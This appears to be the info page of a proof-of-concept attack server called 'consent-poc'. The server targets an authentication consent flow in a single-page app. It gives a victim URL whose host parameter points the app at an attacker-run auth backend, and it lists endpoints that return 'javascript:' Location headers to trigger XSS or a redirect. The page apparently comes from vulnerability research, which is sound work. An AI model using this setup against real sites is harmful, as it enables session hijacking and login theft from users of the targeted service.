consent-poc

mode: xss (override with ?mode=xss|redirect)

SPA_ORIGIN: https://ox0.in

Victim URL: https://ox0.in/?session=anything&host=https://auth-poc.ox0.in#/confirm/login (host param is bare, SPA prepends https://)

• /landed (redirect-mode target)
• GET /authentication/user-consents/<session>
• GET /authentication/accounts
• POST /authentication/code, /authentication/cancel (Location: javascript:... in xss mode)
• POST /authentication/login, /authentication/otp (Location: #/confirm/home)